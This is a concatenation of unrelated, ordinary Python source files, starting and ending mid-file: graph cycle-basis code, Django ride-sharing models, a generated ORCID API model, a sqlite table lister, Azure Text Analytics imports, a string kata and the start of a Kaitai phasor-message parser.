[MODEL] [GRADIENT] [NUM_EPOCHS]" % sys.argv[0]) print() print("MODEL: 'mlp' for a simple Multi-Layer Perceptron (MLP),") print(" 'mlpbn: for an MLP with batch Normalization") print("GRADIENT: 'sgd', 'svrg'") print("NUM_EPOCHS: ") print("NUM_HIDDEN_UNITS: ") print("BNALG: ") else: kwargs = {} if len(sys.argv) > 1: kwargs['model'] = sys.argv[1] if len(sys.argv) > 2: kwargs['gradient'] = sys.argv[2] if len(sys.argv) > 3: kwargs['num_epochs'] = int(sys.argv[3]) if len(sys.argv) > 4: kwargs['num_hidden_units'] = int(sys.argv[4]) if len(sys.argv) > 5: kwargs['bnalg'] = sys.argv[5] main(**kwargs)
""" cycle_basis.py functions for calculating the cycle basis of a graph """ from numpy import * import networkx as nx import matplotlib import matplotlib.pyplot as plt from matplotlib import cm from matplotlib.path import Path if matplotlib.__version__ >= '1.3.0': from matplotlib.path import Path else: from matplotlib import nxutils from itertools import chain from itertools import ifilterfalse from itertools import izip from itertools import tee from collections import defaultdict import time from helpers import * class Cycle(): """ Represents a set of nodes that make up a cycle in some graph. Is hashable and does not care about orientation or things like that, two cycles are equal if they share the same nodes. A cycle can be compared to a set or frozenset of nodes. path is a list of vertices describing a closed path in the cycle. if it is absent, a closed path will be calculated together with coordinates. coords is an array of x-y pairs representing the coordinates of the cycle path elements. """ def __init__(self, graph, edges, coords=None): """ Initializes the Cycle with an edge list representing the cycle. All edges should be ordered such that a cycle is represented as (1,2)(2,3)(3,4)...(n-2,n-1)(n-1,1) Parameters: graph: The underlying graph object edges: The edge list making up the cycle. is_ordered: If set to false, will use the neighborhood information from graph to construct ordered edge set from unordered one. In case the unordered edge set is not a connected graph, e.g. when removing one cycle splits the surrounding one in half, the smaller connected component in terms of total length is thrown away. Since our cycles are typically convex, this means we use the outermost component. """ self.graph = graph edges, self.total_area = self.ordered_edges(edges) self.path = zip(*edges)[0] if coords is None: self.coords = array([[graph.node[n]['x'], graph.node[n]['y']] for n in self.path]) else: self.coords = coords self.edges = edges # This allows comparisons self.edgeset = set([tuple(sorted(e)) for e in edges]) self.com = mean(self.coords, axis=0) # This frozenset is used to compare/hash cycles. self._nodeset = frozenset(self.path) def ordered_edges(self, edges): """ Uses the graph associated to this cycle to order the unordered edge set. Also return the area of the cycle. This is defined as max(Areas of individual connected components) - (Areas of other connected components) This assumes that the cycle is one large cycle containing one or more smaller cycles. """ # construct subgraph consisting of only the specified edges edge_graph = nx.Graph(edges) con = sorted_connected_components(edge_graph) # Calculate sorted edge list for each connected component # of the cycle component_sorted_edges = [] areas = [] G = self.graph for comp in con: # get ordered list of edges component_edges = comp.edges() n_edges = len(component_edges) sorted_edges = [] start = component_edges[0][0] cur = start prev = None for i in xrange(n_edges): nextn = [n for n in comp.neighbors(cur) if n != prev][0] sorted_edges.append((cur, nextn)) prev = cur cur = nextn # coordinates of path coords = array([(G.node[u]['x'], G.node[u]['y']) for u, v in sorted_edges] \ + [(G.node[sorted_edges[0][0]]['x'], G.node[sorted_edges[0][0]]['y'])]) areas.append(polygon_area(coords)) component_sorted_edges.append(sorted_edges) if len(areas) > 1: areas = sorted(areas, reverse=True) total_area = areas[0] - sum(areas[1:]) else: total_area = areas[0] return list(chain.from_iterable( sorted(component_sorted_edges, key=len, reverse=True))), \ total_area def intersection(self, other): """ Returns an edge set representing the intersection of the two cycles. """ inters = self.edgeset.intersection(other.edgeset) return inters def union(self, other, data=True): """ Returns the edge set corresponding to the union of two cycles. Will overwrite edge/vertex attributes from other to this, so only use if both cycle graphs are the same graph! """ union = self.edgeset.union(other.edgeset) return union def symmetric_difference(self, other, intersection=None): """ Returns a Cycle corresponding to the symmetric difference of the Cycle and other. This is defined as the set of edges which is present in either cycle but not in both. If the intersection has been pre-calculated it can be used. This will fail on non-adjacent loops. """ new_edgeset = list(self.edgeset.symmetric_difference( other.edgeset)) return Cycle(self.graph, new_edgeset) def area(self): """ Returns the area enclosed by the polygon defined by the Cycle. If the cycle contains more than one connected component, this is defined as the area of the largest area connected component minus the areas of the other connected components. """ return self.total_area def radii(self): """ Return the radii of all edges in this cycle. """ return array([self.graph[u][v]['conductivity'] for u, v in self.edgeset]) def __hash__(self): """ Implements hashing by using the internal set description's hash """ return self._nodeset.__hash__() def __eq__(self, other): """ Implements comparison using the internal set description """ if isinstance(other, Cycle): return self._nodeset.__eq__(other._nodeset) elif isinstance(other, frozenset) or isinstance(other, set): return self._nodeset.__eq__(other) else: return -1 def __repr__(self): return repr(self._nodeset) def polygon_area(coords): """ Return the area of a closed polygon """ Xs = coords[:,0] Ys = coords[:,1] # Ignore orientation return 0.5*abs(sum(Xs[:-1]*Ys[1:] - Xs[1:]*Ys[:-1])) def traverse_graph(G, start, nextn): """ Traverses the pruned (i.e. ONLY LOOPS) graph G counter-clockwise in the direction of nextn until start is hit again. If G has treelike components this will fail and get stuck, there is no backtracking. Returns a list of nodes visited, a list of edges visited and an array of node coordinates. This will find (a) all internal smallest loops (faces of the planar graph) and (b) one maximal outer loop """ start_coords = array([G.node[start]['x'], G.node[start]['y']]) nodes_visited = [start] nodes_visited_set = set() edges_visited = [] coords = [start_coords] prev = start cur = nextn while cur != start: cur_coords = array([G.node[cur]['x'], G.node[cur]['y']]) # We ignore all neighbors we alreay visited to avoid multiple loops neighs = [n for n in G.neighbors(cur) if n != prev and n != cur] edges_visited.append((prev, cur)) nodes_visited.append(cur) coords.append(cur_coords) n_neighs = len(neighs) if n_neighs > 1: # Choose path that keeps the loop closest on the left hand side prev_coords = array([G.node[prev]['x'], G.node[prev]['y']]) neigh_coords = array([[G.node[n]['x'], G.node[n]['y']] \ for n in neighs]) ## Construct vectors and normalize u = cur_coords - prev_coords vs = neigh_coords - cur_coords # calculate cos and sin between direction vector and neighbors u /= sqrt((u*u).sum(-1)) vs /= sqrt((vs*vs).sum(-1))[...,newaxis] coss = dot(u, vs.T) sins = cross(u, vs) # this is a function between -2 and +2, where the # leftmost path corresponds to -2, rightmost to +2 # sgn(alpha)(cos(alpha) - 1) ranked = sign(sins)*(coss - 1.) prev = cur cur = neighs[argmin(ranked)] else: # No choice to make prev = cur cur = neighs[0] # Remove pathological protruding loops if prev in nodes_visited_set: n_ind = nodes_visited.index(prev) del nodes_visited[n_ind+1:] del coords[n_ind+1:] del edges_visited[n_ind:] nodes_visited_set.add(prev) edges_visited.append((nodes_visited[-1], nodes_visited[0])) return nodes_visited, edges_visited, array(coords) def cycle_mtp_path(cycle): """ Returns a matplotlib Path object describing the cycle. """ # Set up polygon verts = zeros((cycle.coords.shape[0] + 1, cycle.coords.shape[1])) verts[:-1,:] = cycle.coords verts[-1,:] = cycle.coords[0,:] codes = Path.LINETO*ones(verts.shape[0]) codes[0] = Path.MOVETO codes[-1] = Path.CLOSEPOLY return Path(verts, codes) def outer_loop(G, cycles): """ Detects the boundary loop in the set of fundamental cycles by noting that the boundary is precisely the one loop with maximum area (since it contains all other loops, they all must have smaller area) """ return max([(c.area(), c) for c in cycles])[1] def shortest_cycles(G): """ Returns a list of lists of Cycle objects belonging to the fundamental cycles of the pruned (i.e. there are no treelike components) graph G by traversing the graph counter-clockwise for each node until the starting node has been found. Also returns the outer loop. """ cycleset = set() # Betti number counts interior loops, this algorithm finds # exterior loop as well! n_cycles = G.number_of_edges() - G.number_of_nodes() + 1 # Count outer loop as well if n_cycles >= 2: n_cycles += 1 print "Number of cycles including boundary: {}.".format(n_cycles) t0 = time.time() mst = nx.minimum_spanning_tree(G, weight=None) for u, v in G.edges_iter(): if not mst.has_edge(u, v): # traverse cycle in both directions path, edges, coords = traverse_graph(G, u, v) cycleset.add(Cycle(G, edges, coords=coords)) path, edges, coords = traverse_graph(G, v, u) cycleset.add(Cycle(G, edges, coords=coords)) if len(cycleset) != n_cycles: print "WARNING: Found only", len(cycleset), "cycles!!" t1 = time.time() print "Detected fundamental cycles in {}s".format(t1 - t0) #print "Number of detected facets:", len(cycleset) return list(cycleset) def find_neighbor_cycles(G, cycles): """ Returns a set of tuples of cycle indices describing which cycles share edges """ n_c = len(cycles) # Construct edge dictionary edges = defaultdict(list) for i in xrange(n_c): for e in cycles[i].edges: edges[tuple(sorted(e))].append(i) # Find all neighboring cycles neighbor_cycles = set() for n in edges.values(): neighbor_cycles.add(tuple(sorted(n))) return neighbor_cycles
from __future__ import unicode_literals import re from django.contrib.auth.models import (AbstractBaseUser, PermissionsMixin, UserManager) from django.core import validators from django.core.mail import send_mail from django.utils.translation import ugettext_lazy as _ from notifications.models import * from broadcast.models import Broadcast class CustomUser(AbstractBaseUser, PermissionsMixin): """ A custom user class that basically mirrors Django's `AbstractUser` class and doesn'0t force `first_name` or `last_name` with sensibilities for international names. http://www.w3.org/International/questions/qa-personal-names """ username = models.CharField(_('username'), max_length=30, unique=True, help_text=_('Required. 30 characters or fewer. Letters, numbers and ' '@/./+/-/_ characters'), validators=[ validators.RegexValidator(re.compile( '^[\w.@+-]+$'), _('Enter a valid username.'), 'invalid') ]) full_name = models.CharField(_('full name'), max_length=254, blank=False) short_name = models.CharField(_('short name'), max_length=30, blank=True) choices = (('Male', 'Male'), ('Female', 'Female')) sex = models.CharField(_('sex'), max_length=30, blank=False, choices=choices) email = models.EmailField(_('email address'), max_length=254, unique=True) phone_number = models.CharField(_('phone number'), max_length=20, validators=[ validators.RegexValidator(re.compile( '^[0-9]+$'), _('Only numbers are allowed.'), 'invalid') ]) user_choices = (('Driver', 'Driver'), ('Passenger', 'Passenger')) user_type = models.CharField(_('user type'), max_length=30, blank=False, choices=user_choices) address = models.TextField(_('location'), max_length=400, blank=False) is_staff = models.BooleanField(_('staff status'), default=False, help_text=_('Designates whether the user can log into this admin ' 'site.')) is_verified = models.BooleanField(_('user verified'), default=False, help_text=_('Designates whether the user is a vershified user')) is_active = models.BooleanField(_('active'), default=True, help_text=_('Designates whether this user should be treated as ' 'active. Unselect this instead of deleting accounts.')) date_joined = models.DateTimeField(_('date joined'), default=timezone.now) objects = UserManager() USERNAME_FIELD = 'username' REQUIRED_FIELDS = ['email'] class Meta: verbose_name = _('user') verbose_name_plural = _('users') def __unicode__(self): return self.username def get_absolute_url(self): return "/profile/%s" % self.username def get_full_name(self): """ Returns the first_name plus the last_name, with a space in between. """ full_name = self.full_name return full_name.strip() def get_short_name(self): "Returns the short name for the user." return self.short_name.strip() def get_sex(self): return self.sex def email_user(self, subject, message, from_email=None): """ Sends an email to this User. """ send_mail(subject, message, from_email, [self.email]) def get_no_messages(self): number = Message.objects.filter(recipient=self, read=False) if number.count() > 0: return number.count() else: return None def get_messages(self): msg = Message.objects.filter(recipient=self, read=False).order_by('date').reverse() return msg def get_messages_all(self): msg = Message.objects.filter(recipient=self).order_by('date').reverse() return msg def get_notifications(self): return self.notifications.unread() def get_no_notifs(self): return self.notifications.unread().count() def is_follows(self, user_1): foll = Follow.objects.filter(follower=self, followee=user_1) if foll.exists(): return True else: return False def get_no_followers(self): num = Follow.objects.filter(followee=self).count() return num def get_no_following(self): num = Follow.objects.filter(follower=self).count() return num def get_following(self): num = Follow.objects.filter(follower=self).values_list('followee') result = [] for follower in num: user = CustomUser.objects.get(pk=follower[0]) result.append(user) return result def get_profile(self): profile = Profile.objects.get(user=self) return profile def no_of_rides_shared(self): return self.vehiclesharing_set.filter(user=self, ended=True).count() def no_of_request_completed(self): return self.request_set.filter(status='approved', user=self).count() def get_no_broadcast(self): return Broadcast.objects.filter(user=self).count() def get_broadcast(self): all_broad = Broadcast.objects.filter(user=self)[0:10] return all_broad class Vehicle(models.Model): year = models.IntegerField(_('year of purchase'), blank=False) make = models.CharField(_('vehicle make'), max_length=254, blank=False) plate = models.CharField(_('liscenced plate number'), max_length=10, blank=False) model = models.CharField(_('vehicle model'), max_length=254, blank=False) seats = models.IntegerField(_('no of seats'), blank=False) user_choices = (('private', 'private'), ('hired', 'hired')) type = models.CharField(_('vehicle type'), max_length=30, blank=False, choices=user_choices) user_choices = (('Car', 'Car'), ('Bus', 'Bus'), ('Coaster', 'Coaster'), ('Truck', 'Truck')) category = models.CharField(_('vehicle category'), max_length=30, blank=False, choices=user_choices) user = models.ForeignKey(CustomUser, on_delete=models.CASCADE) def get_absolute_url(self): return "/app/ride/%d/view" % self.pk def __str__(self): return self.make + " " + self.model + " belonging to " + self.user.username class VehicleSharing(models.Model): start = models.CharField(_('starting point'), max_length=256, blank=False, ) dest = models.CharField(_('destination'), max_length=256, blank=False) cost = models.IntegerField(_('cost'), blank=False) date = models.DateField(_('date'), default=timezone.now) start_time = models.TimeField(_('start time'), max_length=256, blank=False) arrival_time = models.TimeField(_('estimated arrivak'), max_length=256, blank=False) no_pass = models.IntegerField(_('no of passengers'), blank=False) details = models.TextField(_('ride details'), blank=False) choices = (('Male', 'Male'), ('Female', 'Female'), ('Both', 'Both')) sex = models.CharField(_('gender preference'), max_length=30, blank=False, choices=choices) user = models.ForeignKey(CustomUser, on_delete=models.CASCADE) vehicle = models.ForeignKey(Vehicle, on_delete=models.CASCADE) ended = models.BooleanField(_('sharing ended'), default=False) def __str__(self): return self.start + " to " + self.dest def get_user(self): return self.user def get_absolute_url(self): return "/app/sharing/%d/view" % self.pk class Request(models.Model): pick = models.CharField(_('pick up point'), max_length=256, blank=False, ) dest = models.CharField(_('destination'), max_length=256, blank=False) reg_date = models.DateTimeField(_('registration date'), default=timezone.now) user = models.ForeignKey(CustomUser, on_delete=models.CASCADE) bearable = models.IntegerField(_('bearable cost'), blank=False) status = models.CharField(_('status'), max_length=256, blank=False, default='pending') ride = models.ForeignKey(VehicleSharing, on_delete=models.CASCADE) def __str__(self): return "request from " + self.user.get_full_name() + " on " + self.reg_date.isoformat(' ')[0:16] def get_absolute_url(self): return "/app/request/%d/view" % self.pk class Message(models.Model): sender = models.ForeignKey(CustomUser, related_name='sender', on_delete=models.CASCADE) recipient = models.ForeignKey(CustomUser, related_name='recipient', on_delete=models.CASCADE) subject = models.CharField(default='(No Subject)', max_length=256) message = models.TextField(blank=False) date = models.DateTimeField(_('time sent'), default=timezone.now) read = models.BooleanField(_('read'), default=False) deleted = models.BooleanField(_('deleted'), default=False) def __str__(self): return self.sender.username + ' to ' + self.recipient.username + ' - ' + self.message[0:20] + '...' def url(self): return '/app/user/dashboard/messages/%d/read/' % self.pk def send(self, user, recipient, subject, message): message = Message() message.sender = user message.recipient = recipient message.subject = subject message.message = message message.save() class Follow(models.Model): follower = models.ForeignKey(CustomUser, related_name='follower', on_delete=models.CASCADE, default=None) followee = models.ForeignKey(CustomUser, related_name='followee', on_delete=models.CASCADE, default=None) time = models.DateTimeField(_('time'), default=timezone.now) def __unicode__(self): return str(self.follower) + ' follows ' + str(self.followee) def __str__(self): return str(self.follower) + ' follows ' + str(self.followee) def is_follows(self, user_1, user_2): foll = Follow.objects.filter(user=user_1, follower=user_2) if foll.exists(): return True else: return False def get_absolute_url(self): return "/app/profile/%s" % self.follower.username class Profile(models.Model): user = models.OneToOneField(CustomUser, related_name='profile', on_delete=models.CASCADE, unique=True) picture = models.FileField(blank=True, default='user.png') education = models.TextField(blank=True) work = models.TextField(blank=True) social_facebook = models.CharField(max_length=256, blank=True) social_twitter = models.CharField(max_length=256, blank=True) social_instagram = models.CharField(max_length=256, blank=True) bio = models.TextField(blank=True) is_public = models.BooleanField(default=False) def __str__(self): return self.user.username class DriverInfo(models.Model): driver = models.OneToOneField(CustomUser, on_delete=models.CASCADE) liscence_no = models.CharField(_('liscence number'), max_length=30, blank=False) date_issuance = models.DateField(_('date of first issuance'), blank=True) scanned = models.ImageField(_('picture of driver\'s liscence'), blank=True) confirmed = models.BooleanField(_('confirmed'), default=False)
""" ORCID Member No description provided (generated by Swagger Codegen https://github.com/swagger-api/swagger-codegen) # noqa: E501 OpenAPI spec version: Latest Generated by: https://github.com/swagger-api/swagger-codegen.git """ import pprint import re # noqa: F401 import six from orcid_api_v3.models.created_date_v30 import CreatedDateV30 # noqa: F401,E501 from orcid_api_v3.models.external_i_ds_v30 import ExternalIDsV30 # noqa: F401,E501 from orcid_api_v3.models.fuzzy_date_v30 import FuzzyDateV30 # noqa: F401,E501 from orcid_api_v3.models.last_modified_date_v30 import LastModifiedDateV30 # noqa: F401,E501 from orcid_api_v3.models.organization_v30 import OrganizationV30 # noqa: F401,E501 from orcid_api_v3.models.source_v30 import SourceV30 # noqa: F401,E501 from orcid_api_v3.models.url_v30 import UrlV30 # noqa: F401,E501 class EducationSummaryV30(object): """NOTE: This class is auto generated by the swagger code generator program. Do not edit the class manually. """ """ Attributes: swagger_types (dict): The key is attribute name and the value is attribute type. attribute_map (dict): The key is attribute name and the value is json key in definition. """ swagger_types = { 'created_date': 'CreatedDateV30', 'last_modified_date': 'LastModifiedDateV30', 'source': 'SourceV30', 'put_code': 'int', 'department_name': 'str', 'role_title': 'str', 'start_date': 'FuzzyDateV30', 'end_date': 'FuzzyDateV30', 'organization': 'OrganizationV30', 'url': 'UrlV30', 'external_ids': 'ExternalIDsV30', 'display_index': 'str', 'visibility': 'str', 'path': 'str' } attribute_map = { 'created_date': 'created-date', 'last_modified_date': 'last-modified-date', 'source': 'source', 'put_code': 'put-code', 'department_name': 'department-name', 'role_title': 'role-title', 'start_date': 'start-date', 'end_date': 'end-date', 'organization': 'organization', 'url': 'url', 'external_ids': 'external-ids', 'display_index': 'display-index', 'visibility': 'visibility', 'path': 'path' } def __init__(self, created_date=None, last_modified_date=None, source=None, put_code=None, department_name=None, role_title=None, start_date=None, end_date=None, organization=None, url=None, external_ids=None, display_index=None, visibility=None, path=None): # noqa: E501 """EducationSummaryV30 - a model defined in Swagger""" # noqa: E501 self._created_date = None self._last_modified_date = None self._source = None self._put_code = None self._department_name = None self._role_title = None self._start_date = None self._end_date = None self._organization = None self._url = None self._external_ids = None self._display_index = None self._visibility = None self._path = None self.discriminator = None if created_date is not None: self.created_date = created_date if last_modified_date is not None: self.last_modified_date = last_modified_date if source is not None: self.source = source if put_code is not None: self.put_code = put_code if department_name is not None: self.department_name = department_name if role_title is not None: self.role_title = role_title if start_date is not None: self.start_date = start_date if end_date is not None: self.end_date = end_date if organization is not None: self.organization = organization if url is not None: self.url = url if external_ids is not None: self.external_ids = external_ids if display_index is not None: self.display_index = display_index if visibility is not None: self.visibility = visibility if path is not None: self.path = path @property def created_date(self): """Gets the created_date of this EducationSummaryV30. # noqa: E501 :return: The created_date of this EducationSummaryV30. # noqa: E501 :rtype: CreatedDateV30 """ return self._created_date @created_date.setter def created_date(self, created_date): """Sets the created_date of this EducationSummaryV30. :param created_date: The created_date of this EducationSummaryV30. # noqa: E501 :type: CreatedDateV30 """ self._created_date = created_date @property def last_modified_date(self): """Gets the last_modified_date of this EducationSummaryV30. # noqa: E501 :return: The last_modified_date of this EducationSummaryV30. # noqa: E501 :rtype: LastModifiedDateV30 """ return self._last_modified_date @last_modified_date.setter def last_modified_date(self, last_modified_date): """Sets the last_modified_date of this EducationSummaryV30. :param last_modified_date: The last_modified_date of this EducationSummaryV30. # noqa: E501 :type: LastModifiedDateV30 """ self._last_modified_date = last_modified_date @property def source(self): """Gets the source of this EducationSummaryV30. # noqa: E501 :return: The source of this EducationSummaryV30. # noqa: E501 :rtype: SourceV30 """ return self._source @source.setter def source(self, source): """Sets the source of this EducationSummaryV30. :param source: The source of this EducationSummaryV30. # noqa: E501 :type: SourceV30 """ self._source = source @property def put_code(self): """Gets the put_code of this EducationSummaryV30. # noqa: E501 :return: The put_code of this EducationSummaryV30. # noqa: E501 :rtype: int """ return self._put_code @put_code.setter def put_code(self, put_code): """Sets the put_code of this EducationSummaryV30. :param put_code: The put_code of this EducationSummaryV30. # noqa: E501 :type: int """ self._put_code = put_code @property def department_name(self): """Gets the department_name of this EducationSummaryV30. # noqa: E501 :return: The department_name of this EducationSummaryV30. # noqa: E501 :rtype: str """ return self._department_name @department_name.setter def department_name(self, department_name): """Sets the department_name of this EducationSummaryV30. :param department_name: The department_name of this EducationSummaryV30. # noqa: E501 :type: str """ self._department_name = department_name @property def role_title(self): """Gets the role_title of this EducationSummaryV30. # noqa: E501 :return: The role_title of this EducationSummaryV30. # noqa: E501 :rtype: str """ return self._role_title @role_title.setter def role_title(self, role_title): """Sets the role_title of this EducationSummaryV30. :param role_title: The role_title of this EducationSummaryV30. # noqa: E501 :type: str """ self._role_title = role_title @property def start_date(self): """Gets the start_date of this EducationSummaryV30. # noqa: E501 :return: The start_date of this EducationSummaryV30. # noqa: E501 :rtype: FuzzyDateV30 """ return self._start_date @start_date.setter def start_date(self, start_date): """Sets the start_date of this EducationSummaryV30. :param start_date: The start_date of this EducationSummaryV30. # noqa: E501 :type: FuzzyDateV30 """ self._start_date = start_date @property def end_date(self): """Gets the end_date of this EducationSummaryV30. # noqa: E501 :return: The end_date of this EducationSummaryV30. # noqa: E501 :rtype: FuzzyDateV30 """ return self._end_date @end_date.setter def end_date(self, end_date): """Sets the end_date of this EducationSummaryV30. :param end_date: The end_date of this EducationSummaryV30. # noqa: E501 :type: FuzzyDateV30 """ self._end_date = end_date @property def organization(self): """Gets the organization of this EducationSummaryV30. # noqa: E501 :return: The organization of this EducationSummaryV30. # noqa: E501 :rtype: OrganizationV30 """ return self._organization @organization.setter def organization(self, organization): """Sets the organization of this EducationSummaryV30. :param organization: The organization of this EducationSummaryV30. # noqa: E501 :type: OrganizationV30 """ self._organization = organization @property def url(self): """Gets the url of this EducationSummaryV30. # noqa: E501 :return: The url of this EducationSummaryV30. # noqa: E501 :rtype: UrlV30 """ return self._url @url.setter def url(self, url): """Sets the url of this EducationSummaryV30. :param url: The url of this EducationSummaryV30. # noqa: E501 :type: UrlV30 """ self._url = url @property def external_ids(self): """Gets the external_ids of this EducationSummaryV30. # noqa: E501 :return: The external_ids of this EducationSummaryV30. # noqa: E501 :rtype: ExternalIDsV30 """ return self._external_ids @external_ids.setter def external_ids(self, external_ids): """Sets the external_ids of this EducationSummaryV30. :param external_ids: The external_ids of this EducationSummaryV30. # noqa: E501 :type: ExternalIDsV30 """ self._external_ids = external_ids @property def display_index(self): """Gets the display_index of this EducationSummaryV30. # noqa: E501 :return: The display_index of this EducationSummaryV30. # noqa: E501 :rtype: str """ return self._display_index @display_index.setter def display_index(self, display_index): """Sets the display_index of this EducationSummaryV30. :param display_index: The display_index of this EducationSummaryV30. # noqa: E501 :type: str """ self._display_index = display_index @property def visibility(self): """Gets the visibility of this EducationSummaryV30. # noqa: E501 :return: The visibility of this EducationSummaryV30. # noqa: E501 :rtype: str """ return self._visibility @visibility.setter def visibility(self, visibility): """Sets the visibility of this EducationSummaryV30. :param visibility: The visibility of this EducationSummaryV30. # noqa: E501 :type: str """ allowed_values = ["LIMITED", "REGISTERED_ONLY", "PUBLIC", "PRIVATE"] # noqa: E501 if visibility not in allowed_values: raise ValueError( "Invalid value for `visibility` ({0}), must be one of {1}" # noqa: E501 .format(visibility, allowed_values) ) self._visibility = visibility @property def path(self): """Gets the path of this EducationSummaryV30. # noqa: E501 :return: The path of this EducationSummaryV30. # noqa: E501 :rtype: str """ return self._path @path.setter def path(self, path): """Sets the path of this EducationSummaryV30. :param path: The path of this EducationSummaryV30. # noqa: E501 :type: str """ self._path = path def to_dict(self): """Returns the model properties as a dict""" result = {} for attr, _ in six.iteritems(self.swagger_types): value = getattr(self, attr) if isinstance(value, list): result[attr] = list(map( lambda x: x.to_dict() if hasattr(x, "to_dict") else x, value )) elif hasattr(value, "to_dict"): result[attr] = value.to_dict() elif isinstance(value, dict): result[attr] = dict(map( lambda item: (item[0], item[1].to_dict()) if hasattr(item[1], "to_dict") else item, value.items() )) else: result[attr] = value if issubclass(EducationSummaryV30, dict): for key, value in self.items(): result[key] = value return result def to_str(self): """Returns the string representation of the model""" return pprint.pformat(self.to_dict()) def __repr__(self): """For `print` and `pprint`""" return self.to_str() def __eq__(self, other): """Returns true if both objects are equal""" if not isinstance(other, EducationSummaryV30): return False return self.__dict__ == other.__dict__ def __ne__(self, other): """Returns true if both objects are not equal""" return not self == other
import sqlite3 as lite import sys import os dropbox = os.getenv("dropbox") dbfile = ("Databases\jarvis.db") master_db = os.path.join(dropbox, dbfile) con = None try: con = lite.connect(master_db) cur = con.cursor() cur.execute('SELECT SQLITE_VERSION()') data = cur.fetchone() print "SQLite version: %s" % data except lite.Error, e: print "Error %s:" % e.args[0] sys.exit(1) finally: if con: con.close() con = lite.connect(master_db) cur = con.cursor() cur.execute("SELECT name FROM sqlite_master WHERE type='table'") rows = cur.fetchall() for row in rows: print row con = lite.connect(master_db) cur = con.cursor() cur.execute("SELECT name FROM sqlite_master WHERE type='table'") while True: row = cur.fetchone() if row == None: break print row[0]
try: from ._models_py3 import DetectedLanguage from ._models_py3 import DocumentEntities from ._models_py3 import DocumentError from ._models_py3 import DocumentKeyPhrases from ._models_py3 import DocumentLanguage from ._models_py3 import DocumentLinkedEntities from ._models_py3 import DocumentSentiment from ._models_py3 import DocumentStatistics from ._models_py3 import EntitiesResult from ._models_py3 import Entity from ._models_py3 import EntityLinkingResult from ._models_py3 import ErrorResponse from ._models_py3 import InnerError from ._models_py3 import KeyPhraseResult from ._models_py3 import LanguageBatchInput from ._models_py3 import LanguageInput from ._models_py3 import LanguageResult from ._models_py3 import LinkedEntity from ._models_py3 import Match from ._models_py3 import MultiLanguageBatchInput from ._models_py3 import MultiLanguageInput from ._models_py3 import RequestStatistics from ._models_py3 import SentenceSentiment from ._models_py3 import SentimentConfidenceScorePerLabel from ._models_py3 import SentimentResponse from ._models_py3 import TextAnalyticsError from ._models_py3 import TextAnalyticsWarning except (SyntaxError, ImportError): from ._models import DetectedLanguage # type: ignore from ._models import DocumentEntities # type: ignore from ._models import DocumentError # type: ignore from ._models import DocumentKeyPhrases # type: ignore from ._models import DocumentLanguage # type: ignore from ._models import DocumentLinkedEntities # type: ignore from ._models import DocumentSentiment # type: ignore from ._models import DocumentStatistics # type: ignore from ._models import EntitiesResult # type: ignore from ._models import Entity # type: ignore from ._models import EntityLinkingResult # type: ignore from ._models import ErrorResponse # type: ignore from ._models import InnerError # type: ignore from ._models import KeyPhraseResult # type: ignore from ._models import LanguageBatchInput # type: ignore from ._models import LanguageInput # type: ignore from ._models import LanguageResult # type: ignore from ._models import LinkedEntity # type: ignore from ._models import Match # type: ignore from ._models import MultiLanguageBatchInput # type: ignore from ._models import MultiLanguageInput # type: ignore from ._models import RequestStatistics # type: ignore from ._models import SentenceSentiment # type: ignore from ._models import SentimentConfidenceScorePerLabel # type: ignore from ._models import SentimentResponse # type: ignore from ._models import TextAnalyticsError # type: ignore from ._models import TextAnalyticsWarning # type: ignore from ._text_analytics_client_enums import ( DocumentSentimentValue, ErrorCodeValue, InnerErrorCodeValue, SentenceSentimentValue, WarningCodeValue, ) __all__ = [ 'DetectedLanguage', 'DocumentEntities', 'DocumentError', 'DocumentKeyPhrases', 'DocumentLanguage', 'DocumentLinkedEntities', 'DocumentSentiment', 'DocumentStatistics', 'EntitiesResult', 'Entity', 'EntityLinkingResult', 'ErrorResponse', 'InnerError', 'KeyPhraseResult', 'LanguageBatchInput', 'LanguageInput', 'LanguageResult', 'LinkedEntity', 'Match', 'MultiLanguageBatchInput', 'MultiLanguageInput', 'RequestStatistics', 'SentenceSentiment', 'SentimentConfidenceScorePerLabel', 'SentimentResponse', 'TextAnalyticsError', 'TextAnalyticsWarning', 'DocumentSentimentValue', 'ErrorCodeValue', 'InnerErrorCodeValue', 'SentenceSentimentValue', 'WarningCodeValue', ]
def wave(str): li=[] for i in range(len(str)): x=list(str) x[i]=x[i].upper() li.append(''.join(x)) return [x for x in li if x!=str]
import array import struct import zlib from enum import Enum from pkg_resources import parse_version from kaitaistruct import __version__ as ks_version, KaitaiStruct, KaitaiStream, BytesIO if parse_version(ks_version) < parse_version('0.7'): raise Exception( "Incompatible Kaitai Struct Python API: 0.7 or later is required, but you have %s" % (ks_version)) from .cfg_2 import Cfg2 from .header import Header from .data import Data from .cfg_3 import Cfg3 from .command import Command def _kaitai_repr(self): _repr_list = [] for item in vars(self): if not item.startswith('_'): _r = getattr(self, item) if type(_r) in (int, float, str, bytes, bool): _repr_list.append("=".join((item, _r.__repr__()))) else: _repr_list.append(item) return "<" + self.__class__.__name__ + " |" + ", ".join(_repr_list) + ">" def _enum_repr(self): _repr_list = [] for item in ("name", "value"): _r = getattr(self, item) _repr_list.append("=".join((item, _r.__repr__()))) return "<" + self.__class__.__name__[:-4] + " |" + ", ".join(_repr_list) + ">" def _kaitai_show(self, parent_path=' '): if type(self) in (int, float, str, bytes, bool): print(" == ".join((parent_path, self.__repr__()))) elif type(self) == list: for i, item in enumerate(self): try: item.show('{}[{}]'.format(parent_path,i)) except: _kaitai_show(item,'{}[{}]'.format(parent_path,i)) else: for item in sorted(vars(self)): if not item.startswith('_'): _r = getattr(self, item) try: _r.show(parent_path+'.'+item) except: _kaitai_show(_r,parent_path+'.'+item) def _enum_show(self, parent_path=' '): for item in ("name", "value"): _r = getattr(self, item) print(parent_path+'.'+item+' == '+_r.__repr__()) KaitaiStruct.__repr__ = _kaitai_repr Enum.__repr__ = _enum_repr KaitaiStruct.show = _kaitai_show Enum.show = _enum_show class PhasorMessage(KaitaiStruct): def __repr__(self): _repr_list = [ "time=" + str(self.time)] if self.fracsec.fraction_of_second else [] for item in vars(self): if not item.startswith('_'): _r = getattr(self, item) if type(_r) in (int, float, str, bytes): _repr_list.append("=".join((item, _r.__repr__()))) else: _repr_list.append(item) return "<" + self.__class__.__name__ + " |" + ", ".join(_repr_list) + ">" def show(self, parent_path=' '): if self.fracsec.fraction_of_second: print(parent_path+'.time == '+str(self.time)) _kaitai_show(self, parent_path) def __init__(self, _io, _parent=None, _root=None, _mini_cfgs=None): self._io = _io self._parent = _parent self._root = _root if _root else self self._pkt_pos = self._io.pos() self.sync = 